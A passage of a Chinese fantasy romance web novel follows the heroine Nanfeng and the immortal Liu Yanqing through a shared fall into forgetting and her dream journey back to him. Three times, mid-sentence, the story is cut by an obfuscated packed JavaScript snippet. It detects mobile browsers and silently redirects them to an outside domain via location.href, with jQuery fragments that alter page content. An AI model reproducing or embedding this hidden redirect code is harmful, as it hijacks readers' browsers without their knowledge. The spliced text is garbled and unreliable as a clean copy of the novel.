姜妍轻笑:“怎么说得我好像会一不留神就呜呼似的。” 我苦笑着埋下头。 她们也活着,该多好。 当夜,我们回到医鹿山。 困倦的人在回去的途中,靠着砚清陷入沉睡。 当晨曦的阳光落在窗外时,我揉了揉刺痛的眼睛,翻了个身往身旁之人怀中钻了钻。 他似是被我弄醒,瞬间明白了什么,略施仙术,让光线没那么刺眼。 或许是昨夜闹腾得厉害的缘故,今日一点不想醒来,想赖着柳砚清在此陪我整天。 小暑之际,山中倒是凉快。 吃过早膳,我光着脚坐在门外,双脚沉入冰凉的池水中,看鱼儿在水中游来游去,不时撞上我。 “要是能一直这样该多好……” 我下意识叹了口气,脑子里乱乱的。 逃避有何用?逃了,难道能逃一辈子吗? 无论如何都得给出答案,做个了结。 “抽空给哥哥写封信吧。” 思及于此,我转过头望向屋内,寻找柳砚清的身影。 “不会还在睡吧?喂喂喂,睡了三百多年还没睡够吗?别浪费大好光阴啊!” 我试着喊了几声,始终无人应答。 是什么时候离开了吗?不跟我说一声就走了??这人真是越来越嚣张! 水池里的鱼不知不觉聚拢来,开始啃食我的脚皮,痒痒的,让我回过神来。我强忍着痒意,抿紧嘴唇偷笑。 “笑什么呢?” 我抬起头,对上那双澄澈的眼眸。 “砚清,你去哪儿了?” 他示意了下手中端着的糕点,“想你可能会想尝尝清雨如雪从山下带回来的桂花糕,拿来给你尝尝。错过了信州的桂花糕,鹿镇的可以代替试试。” 我欣喜地从水中抽出双脚,抓着他伸来的手起身,随便拍了拍手上的灰,捻起一块便往嘴里送。 “嗯!好好次!” “进屋吧,我煮些茶配糕点。” “好!” 入夏,除了门口的莲池,我吵嚷着想让柳砚清弄一条溪水出来,从院外的竹林间穿过。 如此离谱的要求,柳砚清听后笑了笑,竟真圆了我的愿望。 “啊——” 双脚浸泡在冰凉的溪水里,身子往后一靠,吃着手中的脆瓜。 “活着真好啊~~” 给哥哥的信三言两语道清我的事情后,我背着砚清悄悄托玉笛帮我送去蓬莱第几宫。 “哥哥,南风已决心不再逃避。只是尚有几桩心事,想托付哥哥代为周全。此生亏欠太多,实在不忍就此忘却,徒留遗憾。 东凉之境的夏逸飞,地府命簿明载他与韩风此生缘尽。南风想在他最后的日子里相伴左右,陪他说说话。春风终究难渡雁门关,我不愿看他独自走完这最后一程。” 恰好此时如雪来后山寻我,隔着老远便朝我挥手。 “姑娘!今夜山中消暑夜宴,想去吗?” “消暑夜宴?是什么仪式吗?” “点河灯,写祝语,吃茶赏月。对了对了,还有冰镇杨梅酿配菱粉糕!特别好吃!” “去去去!当然要去!” 我猛地从溪中站起身上岸,才迈出半步,腰间倏然一紧,被另一股力量牢牢拽了回去。 是柳砚清。 “身子湿着去哪儿?” “呀!高兴忘了形!等我去换身干净的!” 跑出一步又被柳砚清抓回来,懂事的仙蝶飞出,眨眼间濡湿的衣裳恢复如初。他倾身靠近,摘掉我耳后的一片叶子,是竹叶。 “什么时候掉下来的?我怎么毫无察觉?” “插在你的发缝里,估计,是林间的松鼠弄的吧。” “松鼠?医鹿山连松鼠也成精了吗……” 我端详着柳砚清指尖的叶片,灵机一动,转过身去拿后脑勺对着他。 “插回去吧。” “喜欢?” “没了青竹发簪,插片青竹也不错!” 柳砚清笑着,走向最近的一棵竹子,这下最翠绿的一支三叶竹,调整好位置插进我后脑勺盘起的发髻间。 “唉,可惜了白梅步摇,被拓跋枭给摔坏了。”我回看柳砚清,“所以当初闻笙会赠我白梅,是因为下一个要见的人,是颜卿?” “嗯。那步摇是我拜托闻老板,也就是闻笙的兄长亲制的。” “想不到仙人和其他几位都认识啊……” “我不认识拓跋枭和夏逸飞。” 我没忍住噗嗤笑喷,咳嗽着差点断气。 “别逗我笑啊。” “嗯。”他面色平淡,“不知道哪里好笑了。” 我笑得更欢了。 趁着夜宴高潮,我拉着不喜热闹的柳砚清溜出厅外。 流光月色,柳砚清拉着我在廊下并肩而坐。此处正是那年撕心裂肺的告白之地。 清风阵阵,淡淡花香混合着他身上药草的味道萦绕在身旁。 “这一生,颠簸得像场百年大梦。从医鹿山醒来到今日,明明不过数年光景,却仿佛……已把别人的几辈子都活尽了。” 我看向身旁清隽之人的侧脸,感慨道:“你说,是不是因为聚少离多?思念这东西……竟也会日积月累,垒成山岳。” 交握之处,他指尖微微一颤,声音低得几乎化在风里。 “我也想你。隔着天地的距离,念卿成疾。” 柳砚清若有所思的看着我,我回望他,月色为他的青丝和面孔覆上茸茸光韵。 “抱歉。” “嗯,是该好好道个歉,尽管我现在已经彻底原谅你了。”我故意板起脸,却掩不住上扬的嘴角。 他自嘲般勾起唇角道:“黑无常说得对,我好像……有什么虐妻的癖好。” 我猛地揪住他衣襟,呵斥道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056836|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咋的?莫非看着我受伤你很开心??!!” 他垂眼握住我的手腕:“每次推你入深渊的……好像都是我。” “纠正一下,不是好像,就是你。” “嗯。” 夜风忽然静了。我泄气般松开手:“罢了,结局完美便是好事。如果早点知道真相,我或许……”喉头滚了滚,终究化作一声嗤笑,“可我这般贪生怕死之人,未必敢跳。” “你会的。”他斩钉截铁道,“否则,你怎会甘心入黄泉?” “因为你啊。我知道你在,是我看到了你,所以才鼓起勇气,迈出那一步。” 低落时,倏然间,柳砚清忽然倾身逼近,鼻尖几乎贴上我的,温热的呼吸里裹着月色。 “南——” “砚清!”我截断他未出口的话,偏过头轻声道,“相比蓬莱第几宫,我似乎更喜欢待在这儿。” 他低笑:“我能否理解为,你更愿同我一处?” “这话我不是说过千百回了么?我想同你在一起,生生世世,永不分离。洞房那夜,你明明又应过我的。” 可我们的誓言,就像此刻指间漏下的月光,从未兑现。 “砚清。” “嗯。” “我果然……还是回去吧。” “去找大仙?为何?” 贺祈源为救我而死,而究其根源,是我拼了命要救他。因果缠作死结,该由我自己来解。 可当真该如此么?为了救活一个人,就要我失去一切,重新变回笼中鸟雀…… 杂念如潮,我终是颓然摇头:“说不清,我不知道该说什么,就这样吧。” 果然做一个无脑的人,比过分清醒的人活得自在。 江夫人说得对,我就是活得太清醒,庸人自扰。 柳砚清的掌心贴上来时,凉意里竟透出一丝暖。 那个结局里,柳砚清的身子也会回到最初的模样吗? 他若知晓我在想什么,定又要编些谎话来哄我。 我索性将头靠在他肩上:“想你呆一整夜,可以吗?” 他忽然收拢手指,眼底漾开温柔的涟漪:“你想待多久都可以。要我陪你去任何地方,我都随你。” “这可是你说的,君子一言——” “绝不反悔。” 我忍不住伸手轻轻戳了一下柳砚清的脸颊,调侃道:“这一世,仙人可把我一顿欺负呢。” 他捉住我作乱的手指笑道:“处处求我救你,哪次我没应验?” “就拿最初在医鹿山说起,整日板着个脸冷言冷语地对我,害得我日日以泪洗面,伤心透了。” 忽又想起什么,我问道:“说来,为何要我学医?明知我学不会,学了也用不上,还非得强迫我背那么多书。” “为了去军营。前世有他铺路,今生……总得另寻由头。” “哦——原来又是仙人提前算计好的呀。” “自然,也存了私心。想和你多一些缘由待在一起。” 此时,一颗流星恰好此时从我们头顶划过。听姜妍说,流星划过天空时,许下心愿或说出口的话都会成真。我用眼角余光看向柳砚清,他眺望着天边的流星,神情有淡淡的落寞。 是心有灵犀吗? “我没有消除记忆的法力,但……你可以。我不想爹爹来,你帮我,好不好?” “不好。” 他斩钉截铁地拒绝,手指骤然收紧,攥得我生疼。 “一定还有办法的。我既然能找到另一种起死回生之术,定能找到绕开消除记忆救活一切的办法。别忘了,我可是医者,可救苍生的医者。” “事到如此,仙人要让要让所有努力付诸东流吗?” “人是自私的,神仙也是自私的。我不要你忘记我……我不能再失去你了。” “是怕我忘了你,会错过彼此吗?”我噗嗤笑笑,“放心吧,不会的。” 若我们能一见钟情,在初见时便情难自抑,那么即便轮回转世,即便重归陌路,我也定会在茫茫人海中—— 一眼寻见你,心悦于你。 这桩“计划”已经付出太多,所有的牺牲与努力都被押在了最后一环上,绝对不能失败。 我悄悄幻出羽带,趁他失神,迅速缠上我们交握的手。柳砚清猛然惊醒,却已挣脱不得。 心有灵犀的好处便是,我不必解释,他已明白我要做什么。 “南风!松开!”他厉声喝道,眼底翻涌着惊惶。 我死死拽紧羽带,掌心直接泛白、发抖。 “砚清,我们一起忘记吧。我不想再看你一个人困守过去,伤痕累累……” 他拼命挣扎着,我越握越紧,恨不得让我们的骨头顷刻间镶嵌在一起,无法分开。 我轻声哄他,嗓音支离破碎。 “没关系的……大不了,我们从未相识。你不是说过吗?人各有命。我们……也是人啊。我们的命数,早该终结的……” “松开我!南风……求求你,别这样……”他的声音几乎破碎。 “我不放。”我摇头,泪水模糊视线,“砚清,你信我……我们会再见的。就像在蓬莱第几宫初遇时那样,只需一眼,便能私定终生。” 最后的画面中,那只手扯碎了羽带,滚烫的手掌死死抓紧我的手臂,与我一同坠落深谙深渊。 “南风——!!!” 他的嘶吼撕开夜色,而我们在无尽的黑暗中,不断下坠、下坠…… 124. 西风曾未入梧楸 【另一种结局】 血雨倾泻而下,我蹲趴在地,脸颊紧贴着混着血水的泥浆。 “你还是做了同样的选择。” “……谁?” 仙人蹑足靠近,走到双膝跪地的我跟前,缓缓蹲下身与我平视。 “当初,我就是在这里捡到了垂死的你,将你带回医鹿山,违背天命,救回了你。” 当初?是说我上一世也是死在了旷野? “重生前的我难道也是为了——” “是。”砚清截断我的话,“上一世,再上一世,都是为了救他。” 我自嘲笑了声。 “想不到,我还是个痴情的人。” 他也顺着我的话,说道:“是啊。想不到,于他,你这么痴情。” 贺祈源啊,无论重来多少回,我的归宿,我的结局,依旧是选择你。 尽管如此,我还是无法全心全意,真心实意地待你。 无法付诸真心的人,终落得如此下场。 砚清抬手拨开我遮挡面容的发丝,擦去我面上的血迹和泥渍。 “这次,我没办法再救你了。” “嗯,谢谢砚清。足够了,这辈子活成这样……”我闭上眼,如释重负道,“我也累了。” 从医鹿山到光州信州,再到边疆东凉、霜洲地界,最后京都皇城,我寻他一路,最终是寻到死局。 我边说边摸上砚清的脖颈,指尖触感冰冷,却能感受到他有力的脉搏。 “我死以后,可不可以把我葬在花海,我想和他在一起。” “好,我答应你。” “还有……对不起。被你辛苦救回来的命,还是被我白白浪费了。” “于我,你就只会说对不起吗?” 砚清轻笑。我猜他是想起了医鹿山时,我匍匐在他胸前一面表白心悦一面痛哭流涕的事。 “我本以为再来一次,你或许不会再走到这一步。不对,该是——不会。” 因为贺祈源早已不在这个世上,重生后的南风不会再和他相逢,不会记起关于他的记忆,更不会平白无故再次选择他。 更何况,我们只差一点便能长相厮守。 柳砚清沉下眸子问:“是大仙的梦境吗?” “……是。”我苦笑道,“爹爹也没算到这一步吧。” 方大仙估计也没算到南风会凭着一场支离破碎的梦境再次踏上这条不归途吧。 消除了上百次的梦境,独独疏漏了一场,让我回忆起了前世的少年,义无反顾重蹈覆辙。 寒意浸透骨髓,我往砚清怀里缩了缩,莫名有些困了。 “砚清。” “我在这儿。” 我迟缓地抬手,与砚清默契地对看一眼。 他果然还是生得那么好看,哪怕是在这等人不人,鬼不鬼的地界,依旧那么耀眼。 “我困了……想先睡了……” 身躯靠上冰凉更甚的身躯,我忍不住又缩了缩肩膀,寒意窜上背脊,胃里翻滚着恶心。 砚清攥紧我的手,一如既往的温柔。 “再坚持一会儿吧。天快亮了。” “嗯……天快亮了……” 漫长又短暂的一生,终于结束了。 数以万计的星芒汇聚在他掌心,如一盏明灯,照亮血海般晦暗的旷野。暖暖中,我闭上眼—— 砚清眼角坠下一滴泪,落在我逐渐冰冷的唇上。 【九歌一梦】 坠落时,记忆从脑海中抽离,不同现实的结局在眼前上演。 我仰望着追来的砚清,忽然笑了。 不要哭啊,你怎么还流泪了?一点没有仙人该有的样子…… “没关系,大不了……你我从未相识。不过一个风流成性的仙子,不值得你露出这般表情的。” 将触未触的指尖越拉越远,我终于清醒地明白我们再也无法触碰,绝望地哽咽。 “砚清……我会去寻你的,等我。” 大脑冲荡着一阵阵的拧痛。再睁眼,一道黑影站在我身边。 我看不清他的脸,就连身体也是,胡成一团一触即散的浓雾。 “你是谁?” 他不答,拉着我的手踏入绿色旷野中,那些萤火虫漂浮在花海之上,向我们汇聚而来,渐渐将我包围。 我惊叹:“好美的萤火。” 黑影道:“这不是萤火,是蜉蝣。” 我问:“蜉蝣?那是什么?” 他答:“以啃食□□和记忆为生的虫。” 没有眼鼻嘴的黑影到底如何听见我的声音,如何说出话的,我很好奇。 仿佛察觉到了我的疑惑,他转向我。没有眼睛,望着我的“眼神”竟透出一丝温柔。 他将手伸进自己的身体里,缓缓取出一团黑,清风拂过,黑雾散去变为一顶斗笠。我惊讶了声,他自顾自将斗笠戴上我的头顶。 “往前三里,有位守路人。问他,他会指给你方向。” 我不解地抬头看他,他已经将我的头上斗笠的纱帘放下,眼前的面容被蒙上一层白。 “路上小心。” “我还不知道你是谁?” “不必知道。” “嗯……” “我们会再见的。” 话音落下,他也同那些蜉蝣一般从我眼前消散。 蜉蝣,朝生暮死。旷野的蜉蝣却能永生。 我看着眼前漂浮的不可思议的虫,迈步朝前。 “秋风萧瑟,满目疮痍。家国何在?!只剩一片荒芜呐!” 循声望去,只见一位鬓发斑白的老者独坐岩上,背影萧索。 我强压下心头的羞怯,故作镇定地清了清嗓子引来他的注意。 “老人家好,我想去蓬莱仙岛,请问该怎么走呢?” 老者缓缓回望我,浑浊的眼中闪过一丝精光。 满头银丝之人面向约莫五十来岁,即便衰老依旧掩盖不住诗书风骨。 “姑娘为何去蓬莱?” “我的家……好像在那里。” “那里是神仙居住的地方,莫非姑娘……是仙?” “应该是吧。”我怪不好意思地捋了捋鬓发,“虽然看着和天上的仙女毫不沾边。” “敢问姑娘芳名?” 原野的风掠过,我怔忡片刻:“我不记得了。” 他站起身走到我面前,抬手指了指向云深之处。 “往清溪山走,有位高人,可指引你接下来要走的路。” “多谢老人——” 话到嘴边突然顿住。眼前的老者身影开始渐渐透明,化作点点流萤。 “不必唤我老人家,你方可唤我的名字。” “不会失了礼德?” “若论年岁,仙子怕是比老朽年长数千春秋。” 我思忖片刻后缓缓摇头。 “这不行。还请您告诉吧!我该怎么称呼您?” 他似是着急离开,全然不等我把话讲完。我急忙伸手,却只抓住一缕清风。 最后一点萤火湮灭前,风中传来缥缈的余音: “在下闻笙,是位云游四方的教书先生。” 风又起,恰如何年何月,一场春糜烂漫的梦境中拂过的胭脂香。 “闻笙……嗯,我记住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056837|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!” 我踏过荒原,眼前忽现一座巍峨青山。云雾缭绕间,峰顶若隐若现,不知是否就是闻笙所说的清溪山。 正踌躇间,忽闻脚步声渐近。一位樵夫肩扛柴捆,踏着落叶而来。我连忙上前施礼,道出我的目的地。 樵夫闻言,蹙眉惊呼:“清溪山?那可是在洛城,离这儿还几千里路呢。” “那么远?!” 樵夫见我神色,又补充道:“不过姑娘要寻高人,这山中也有一位,兴许能帮上姑娘。” 我眼睛一亮,提起的心又放下。 “再好不过了!还请您指点迷津。” 那似乎高人住在层峦叠嶂深处,樵夫指着被云烟吞没的山径道:“要过九道瀑布,攀铁索桥,方见一座茅草屋,高人就住在那儿。但,见得着见不着,还得看仙长心情。常有人上山,最后悻悻而返。” 我郑重颔首致谢:“多谢指点。” 山风骤起,吹动我腰间的丝绦。望着幽深的山径,我握紧袖中的步摇,深吸一口气迈步向前。樵夫的声音从身后传来:“姑娘保重!若见不到就早些下山,入夜后这山路可不太平……” “好!我——” 转身之际,人已不见踪影。 我踏着嶙峋山石一路向上,当终于攀至绝顶时,眼前景象却让我倒吸一口凉气。 陡峭的岩壁下是葱郁的树海,再多迈出一步,便是死无全尸。 到底出于什么考虑才会把房屋修在这等地方…… 山风卷着松涛在崖边盘旋,高人的玄色衣袂翻飞如鹤羽。 他好似知晓我会来,早早地在此恭候。 我也省去了解释,开门见山。他听完我的讲述,忽然轻笑一声: “闻笙?老者?” 高人笑道:“原来如此。他用仙术将闻笙的年纪留在了初遇时的模样,此番终局,仙术也自然而然接触,闻笙也变回了原本的模样。” “不知仙长何意……” 他说得有头有尾,可我字词听懂了,却不知为何意。 高人折下一枝松,递给我。我颔首接下,凑到鼻尖前,嗅了嗅松香。 “凡人寿命短暂,仙子的白驹,便是他们的一生。” 我还是不明白他在说什么,茫然地盯着他那双死潭似的眼睛。 他顿了顿,微微俯下身双手撑在膝盖上与我平视。我忐忑地眨了眨眼,稍稍后退半步。 “接下来往东走。翻过三座山,再走一段路,有座书院,去寻一人。” “好。敢问,那人叫什么名字?” 知晓名字也好朝路人打听打听,免得白跑一趟。 “砚清。研墨和之濡也,无污之净。” “好,我记住了。” 转身欲走时,忽听他在身后道:“仙子不问我的名字吗?” 几乎是同时,我也脱口而出:“哦对了,我能知道仙长的名字吗?” 刚巧不谋而合,两人一同怔愣,不约而同笑起来。 高人捏住我的右手指尖,抬起,带着薄茧的手指在我掌心写下两个字。 “贫道,顾辞。” “顾、辞……”喃喃后,我浅笑着抬眸,“我很喜欢这两个字。” “这名字就是你取的。” “啊?” 没等到他回答我,顾辞的身影同闻笙一样渐渐透明,即将变为流萤消失。 “九歌终了,去做完你最后一场梦罢。” 而后醒来,忘干一切吧。 终于,最后一点流萤也被完全消失了。我望向天地间无垠的云海,心思迷惘。 “九歌……一梦吗?” 125. 破愁宜召曲生谋 都说清溪山是福地洞天,不仅供奉着天界神像,清溪书院里更有不少仙家在此修行,以求证道飞升。 等我登上山顶,夜已深沉,四下寂寥无人。辛辛苦苦爬上来,可不想现在下山歇息,明日再爬一回。不如随便找个角落,凑合过一夜算了。 树影婆娑,深夜的书院阴气森森。 我真要在这儿过夜吗…… “姑娘?” “啊!!!!!” 背后突然响起的声音吓得我魂飞魄散,踉踉跄跄地退开老远。 来者显然也被我吓着,手里提的灯晃晃悠悠的,困惑的神色不似作假。 “深更半夜,姑娘怎会在此?” 那人一身书生打扮,温润如玉,瞧着不像歹人。我定了定神,支吾道:“我……我是来问路的,不对,是来找人的。敢问先生可认识一位叫砚清的?” “先生不敢当,不过是清溪书院一介学生罢了。”他微微一笑,“姑娘与砚清相识?” “不认得……你认识他?” “他是我挚友。” 书院门前,不知怎的,书生忽然拉着我絮絮叨叨说起他那聪慧绝伦的挚友。 他扼腕叹息道:“砚兄这般惊才绝艳的人物,偏偏选择医道,自己断了科举路,可惜啊!高中状元,做个知县,再上京做个宰相太尉,若是砚兄,或许真能改变这乱世呢。” “这位砚兄……莫非是得道高人?”我试探着问。 书生一愣,随即大笑:“高人?砚兄才十五岁呢!不过以他的天资,倒也称得上‘高’。”他促狭地眨眨眼,“姑娘该不会是砚兄的爱慕者,专程来表白的吧?” “不是!”我连忙摆手,“我只是……来找他问路的。” “那可赶巧了,”书生耸耸肩,“砚兄前些日子退学走了。” “走了?去哪儿?” “谁知道呢。”他望向远处,语气悠远,“葛榆真君云游行医,四海为家,砚兄跟着他,天南地北,踪迹难寻。” 寻不见高人,接下来,我又该去哪儿? 这时夜风起,山下漂浮上来的天灯乘着风飞向远方,流萤紧随其后,灯火汇成了一条通往天边的蜿蜒长河。 它们是在告诉我接下来的路吗? 告别书生,我也没了在此过夜的心思。 “姑娘且慢!” 书生突然叫住我,手指轻抵下巴,目光细细在我脸上游移。 “我是不是……认识你?” 不是见过,不是似曾相识,而是认识。 我迟疑地摇头:“我不认识你。” 书生若有所思颔首,道:“也对。南风被关在蓬莱第几宫,不可能出现在这儿。”他扬起抹令人舒心的笑,“在下云枕书,是砚兄的好友。若姑娘见到他,麻烦帮我问个好。” “……好。” 不出意外,眼前的云枕书在告知完最后一句话后,散成流萤飞向夜空。 曲径通幽,竹林密布。 月下,清隽之人的墨发束在发顶,绀青色的衣裳衬得他肤如白玉,随夜风起舞。修长的手指点在手中的书卷上,神情专注。 清溪山的书生说什么来着,年方十五?这真是十五岁的样子吗? 忽然,脑海中闪过曾经不知在何本书上见过关于“绝世仙骨”的描述。百年修为可抵千年,绝世仙骨的成长速度也与众仙稍有不同。 我有些不自在地清了清嗓子,问道:“敢问,是砚……砚清仙长吗?” 他回过头来,四目相对,我的眼皮警觉般地跳了一下。寒若冰霜的双眸,竟令我如临大敌。 但,转瞬即逝。 当月光愈发明亮,将他的脸照得更加清晰,我怔住了。 那样庞杂的画面一股脑塞入我的脑海,是熟悉的,又是陌生的…… 那些一闪而过的画面宛若真实发生过,在某个我不记得的时候…… 那是什么?为何我一点也想不起?有什么力量在阻止我想起它们…… “姑娘找谁?” 清冷的嗓音里带着三分疏离,七分寒意。 迟来生出的羞怯弄得我心尖发痒,鼻尖发烫,手心冒汗。 “我……我湿、是找砚清,砚仙长。” “找我何事?” “你就是?!”我惊喜地差点跳起来,“太好了!我可是翻了好几座山才找到你的。” “何事?” “我想去蓬莱仙岛,特来问路。” “我不知。” “啊?可指路的人告诉我,你知道的……” “不知。” 不留一丝情面,砚清仙长说走就走。 擦肩而过时,他只是厌烦地瞥了我一眼,没再多在意我,径直去往什么地方。 我待在原地茫然四顾,也跟上他。 一前一后走了一段路,他略慢下脚步,回过头来看着我。 “姑娘跟着我干嘛?” “啊?你不是要领我去哪儿吗?” 再说这荒山野岭的,我也无处可去。 他满脸无语地睨了我一眼,撂下话:“不是。告辞。” “欸——就走啦?” 我直直望着那背影直至消失。 “好无情的仙长。” 砚清冷着脸离开后,便失去了踪影,连气息也也消失殆尽。 我不甘心,四处寻找,却无论如何都寻不到。 夜空黑压压的,不会有野兽吧? “月亮也没有,连盏灯也没有……” 一阵阴风掠过,似有猎兽无声地潜伏着,紧盯着猎物一般,我突然害怕起来。 “说啥来啥吗……” 我比我想的大胆,竟然找到个山洞休息。睡到半途才想起—— “野兽不都待在山洞的吗?!” 吓得我一骨碌从地上爬起来,往外冲。心急下,差点撞上迎面飞来的一只……蝶? “嗯?蝶?” 远看翩跹,近看骇人的蝶停在眼前。 蝴蝶飞出一截见我没动,又飞回来围着绕一圈后继续朝前。若是我没动又继续飞回绕圈,如此往复。 我幡然醒悟。 “是要我跟着你吗?!” 微风荡漾,湖光映照。 不敢片刻停歇,我几乎要把这片山转了个遍,就是找不到砚清。 “你去哪儿了啊……” 我愈发着急,迫切的心达到顶峰,稍不留神,没注意到脚下延伸出的树根,被绊倒摔了一跤。 “好——” 好在这一摔让我在抬眼的刹那望见了他。 彼时,对岸轩窗半开,砚清白衣胜雪,正闭目静修。听见动静他抬头望来,顿了顿,忽而起身。 仙人踏水而行,竹枝作剑,逐渐靠近,背对着月光低头看着我,冰冷的视线里找不到一丝温情。 “这是做什么?” “摔了一跤……” “起来。” “脚扭伤了,起不来。” 他轻叹一声,广袖翻卷间已将我拉起。指尖温度似有还无,一如他此刻垂眸,那抹转瞬即逝的无奈。 “……多谢仙长。” “能走吗?” 我抬眸,撞进那双深邃眼眸。 “不能。” “……” 几不可闻的叹息,他别开眼,在我正以为他又会抛下我时,忽觉身子一轻,竟被他整个打横抱起。 我庆幸地抓紧他的同时,将脸埋进他的胸膛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056838|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明应该只有脚的疼,心口却也隐隐作痛,疼得我几乎要哭出来。 脑海中似有荆棘破土而出,刺得太阳穴突突直跳。那些深埋在记忆泥层之下的东西,越是想要抓住,便越是模糊不清。 想不起来……无论如何也想不起来…… “很疼?”他沉声询问。 我晃了晃脑袋,故作平静说道:“不疼。” “都哭了还说不疼。” 我知道疼痛并非扭伤,而是因为脑海里愈发高涨的什么,如滚烫茶水煮开翻涌得厉害。 我在他怀中仰起头,注视那双只冷若寒潭的眼眸。 与顾辞的感受不同,寒意相似,顾辞有种凝视亡者的恐惧,眼前的……撩拨心弦。 清冷的竹屋,屋如其主,简单的陈设,弥漫的药草气息。窗台边的瓷瓶中没有花,泥炉上的茶正沸腾。 砚清将我放置在床榻边坐下,转身去取药膏。 脚踝被轻轻托起,墨绿色的药膏被他用指尖在扭伤的地方轻轻揉开。 药膏触及肌肤的刹那,我猛地瑟缩。 “疼……” “忍忍。” 他指腹力道又放轻几分,若即若离地打着圈。 这份疼痛压抑又折磨人,像是身躯被缠上了庞大的藤蔓,不动声色地窟紧每一寸皮肤,勒得我喘不过气。 我紧咬着下唇,生怕走漏了风声。 砚清忽然抬手,指腹轻轻擦过我的眼角。 “好了,别哭了。” 不知怎的,这一擦反倒勾出更多委屈。我索性放声嚎啕大哭:“呜啊————好痛!你安慰一下我嘛!” “你怎么还哭得更厉害了……” 但最后他还是听了我的话,掌心贴上我的发顶,一下一下,极致温柔地安慰我。 有蝴蝶从他袖口中飞出,环绕着我们翩飞,最终栖落在我颤巍巍伸出的指尖。 娇嫩粉色的蝴蝶忽地炸开,金光散尽,掌心赫然躺着朵莹白茉莉。 “茉莉香可静心宁神。” “……多谢仙长。” 哪有什么命中注定,不过是我一厢情愿的痴念罢了。 顾辞不是说了吗,去做我最后一场梦。 就连眼前这个温柔拭泪的砚清, 也不过是梦中泡影, 一触即碎。 一只脚悬于半空,我坐在床榻边,眼睛片刻不离盯着坐在窗台边读书的砚清。 窗外星河倾泻,流光浮动。 此处应不在人间,时辰更迭与风雨星辰皆似与某位仙人的心情息息相关,瞬息万变。 掌心的茉莉尚带露气,我蜷起手指将它拢在鼻尖,幽香沁入肺腑。 砚清合上书卷时,恰好半个时辰。他踱至榻前,指尖轻触我脚踝检查药效。 “还疼么?” 原本平静的心又被他一句话勾出眼泪。 这下,他估计不再想跟我说话了吧…… 我抿紧发抖的唇,两行泪同流水似的不断往下流。 “你怎么又哭了……” “我、我不知道。” 我真的不知道。 只是他的声音,他的脸,他的一切,都足以让我泪流满面。 他指尖顿了顿,脸上闪过微妙的神情:“是不是疼吗?” 我摇了摇头,轻轻将头抵在他的身上。见他不反抗没推开,便想着变本加厉,得寸进尺。 “仙长,我可以,留在这里吗?林间太静,我一个人害怕……” 见他踟蹰,我又补充道:“让我能睁眼看到你就行,睡地上,睡外面儿,睡房顶都行!好吗?” “……嗯。” “多谢仙长!” 计划通。 126. 我欲乘桴沧海浮 淅淅沥沥的雨轻抚山林,我蜷缩在与他隔着一间屋子距离的床踏上,看着疏离的背影难以入睡。 他主动让出床铺,去另一头的地上铺了垫子和被子。 落寞依旧,目光黏在他的背影上。 想要靠近他。 烦闷的心一遍一遍催促着我靠近他,念头在胸腔里疯长。我悄悄支起身子,却在看见他肩头滑落的月光时,又缓缓躺了回去。 雨打竹叶声里,传来一声几不可闻的叹息。不知是他的,还是我的。 “仙长?你睡着了吗?” 雨声中无人应答。 幸而无人回应,他若是醒着,我该如何面对。 赤足踩过微凉的竹席,在他背后蹲下身,悄无声息地歪着脑袋盯着他披散的青丝。 他要是忽然转过身来怎么办?还是回去罢…… 可我不想。 我挪了挪步子蹲得离他更近了些,蠢蠢欲动的手指想要触碰,本能却不允许。 正犹豫间,他忽然转身—— 月光洒落清隽之人的脸庞,勾勒出他的唇线。似是感知到我的存在,他睁开眼。 隔着半臂的距离,我们看着彼此的眼睛。 四目相对的刹那,一阵夜风吹拂,屋外骤雨初歇。 我得靠近他,我必须靠近他,我想要触碰他。 咽下堵在喉间的什么,我小心翼翼地掀开被褥,钻进去,盯着那双眼睛,手覆上他起伏的胸膛。 “梦游?” 砚清嘴上这么说着,但还是任由我贴上他。 他胸口的体温隔着衣服转递到我的掌心,是温暖的,炙热的。 “真好……” 我并不清楚自己为何会觉得好,明明这是一个活人再正常不过的温度。 “你想睡这里?” 他语气淡淡的。我鼓足勇气,点头承认。 “那好。” “啊?” 他说什么??这是默许我……和他睡……吗??? 静谧空间,孤男寡女两人……怎么办!我该不该答应他?可是被如此绝世美男触碰……何乐而不为啊! “仙、仙长可曾和人……行过那等……云雨之事??” “嗯。” “……什么?” “有。” 见他答得干脆,我如坠云雾。还未回神,砚清已掀被而起,径自走向床榻。 “既你喜欢此处,让与你便是。” “……” 突如其来的转折让我猝不及防。被褥间残留的温度骤然消散,仿佛在我们之间织就一张无形的网。 “那刚才说的,你——” 我不死心地追问。 砚清翻了个身,背对于我。 “没有过。” 看天光,应是晨光。 我沿着湖畔踱步,时不时回头瞥向木屋。 